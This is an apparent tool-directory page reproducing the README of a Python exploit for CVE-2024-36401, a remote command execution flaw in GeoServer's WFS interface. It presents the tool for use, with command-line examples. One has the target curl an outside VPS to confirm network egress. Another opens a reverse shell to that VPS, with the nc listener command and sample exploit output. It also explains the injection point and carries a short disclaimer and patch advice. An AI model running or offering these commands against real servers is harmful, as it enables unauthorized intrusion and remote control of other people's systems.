Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/urjack2025/cve-2024-36401
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHuburjack2025/cve-2024-36401

CVE-2024-36401

An Python Exp For "GeoServer"

View Repository
2111 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-36401 GeoServer Exploitation Tool

Vulnerability Overview

CVE-2024-36401 is a remote command execution vulnerability in GeoServer. An attacker can execute arbitrary commands without authorization by crafting a specific WFS (Web Feature Service) request.

Requirements

  • Python 3.x
  • Install required dependencies: pip install requests

Usage

This tool supports two modes: cmd mode (execute commands directly) and reverse mode (establish a reverse shell).

1. Test if the target can reach the internet

Assume the VPS address is 111.46.112.85, use the cmd mode to execute a curl command to test whether the target server can access the external network:

Download Tool
root@kitploit:~
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"

Verification method: Start an HTTP server on the VPS to receive requests:

root@kitploit:~
# Execute on the VPS
python -m http.server 8090

If a callback is successfully received, you will see output similar to:

root@kitploit:~
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -

2. Establish a reverse shell connection

Use the reverse mode to establish a reverse shell connection to the specified VPS and port:

Step 1: Set up a listener on the VPS:

root@kitploit:~
# Execute on the VPS
nc -lvp 6666

Step 2: Run the exploit tool to initiate the reverse connection:

root@kitploit:~
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666

After execution, the tool will display output similar to:

root@kitploit:~
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea

At this point, if the exploit is successful, the nc listener on the VPS will receive the reverse shell session.

Tool Parameters

root@kitploit:~
Usage:
  python exp.py cmd <target> <command>
  python exp.py reverse <target> <vps_ip> <vps_port>
  • cmd: Execute a single command mode
  • reverse: Reverse shell mode
  • <target>: Target server address and port, format ip:port
  • <command>: Command to execute on the target server
  • <vps_ip>: IP address of the VPS server
  • <vps_port>: Port on the VPS to listen on

Vulnerability Principle

This vulnerability exploits a security flaw in the GeoServer WFS service by injecting Java code into the valueReference to execute system commands. The tool constructs XML payloads containing malicious code and sends them to the GeoServer WFS interface, thereby achieving remote command execution.

Notes

  1. This tool is for security research and vulnerability verification only. Do not use it for unauthorized testing.
  2. Any consequences resulting from the use of this tool are the sole responsibility of the user.
  3. When using the reverse shell feature, ensure you have permission to access the target system and operate within the scope of relevant laws and regulations.
  4. In a lab test environment, administrators may have modified default routes to increase difficulty, causing the provided exploit to fail. In such cases, you may need to adjust the field /geoserver/wfs to the appropriate content.

Remediation Suggestions

Update GeoServer to the officially released security version in a timely manner and configure the server following security best practices.